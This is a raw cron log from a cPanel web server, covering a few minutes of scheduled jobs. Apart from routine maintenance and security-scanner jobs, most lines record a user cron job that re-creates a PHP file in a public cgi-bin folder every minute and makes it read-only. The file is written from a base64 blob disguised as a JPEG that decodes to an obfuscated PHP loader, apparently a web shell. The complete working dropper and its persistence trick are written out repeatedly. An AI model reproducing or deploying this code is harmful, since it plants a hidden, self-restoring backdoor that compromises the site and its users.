Sep  3 14:53:01 server CROND[31818]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 14:53:01 server CROND[31816]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 14:54:01 server CROND[32286]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 14:54:01 server CROND[32287]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 14:54:01 server CROND[32288]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 14:55:01 server CROND[32676]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 14:55:01 server CROND[32678]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 14:55:01 server CROND[32679]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 14:55:01 server CROND[32680]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 14:55:01 server CROND[32683]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 14:55:01 server CROND[32684]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 14:55:01 server CROND[32681]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 14:56:01 server CROND[1141]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 14:56:01 server CROND[1143]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 14:56:01 server CROND[1142]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 14:57:01 server CROND[1556]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 14:57:01 server CROND[1557]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 14:57:01 server CROND[1558]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 14:57:01 server CROND[1559]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 14:58:01 server CROND[1933]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 14:58:01 server CROND[1935]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 14:58:01 server CROND[1936]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 14:59:01 server CROND[2446]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 14:59:01 server CROND[2445]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 14:59:01 server CROND[2447]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 15:00:01 server CROND[2863]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 15:00:02 server CROND[2865]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 15:00:02 server CROND[2867]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 15:00:02 server CROND[2868]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  3 15:00:02 server CROND[2869]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 15:00:02 server CROND[2875]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 15:00:02 server CROND[2872]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 15:00:02 server CROND[2870]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 15:00:02 server CROND[2871]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 15:01:01 server CROND[3690]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 15:01:01 server CROND[3692]: (root) CMD (run-parts /etc/cron.hourly)
Sep  3 15:01:01 server CROND[3694]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 15:01:01 server CROND[3693]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 15:01:01 server run-parts(/etc/cron.hourly)[3692]: starting 0anacron
Sep  3 15:01:01 server run-parts(/etc/cron.hourly)[3706]: finished 0anacron
Sep  3 15:02:01 server CROND[4081]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 15:02:01 server CROND[4083]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 15:02:01 server CROND[4084]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 15:03:01 server CROND[4485]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 15:03:01 server CROND[4486]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 15:03:01 server CROND[4487]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 15:04:01 server CROND[4972]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 15:04:01 server CROND[4973]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 15:04:01 server CROND[4974]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 15:05:01 server CROND[5367]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 15:05:01 server CROND[5369]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
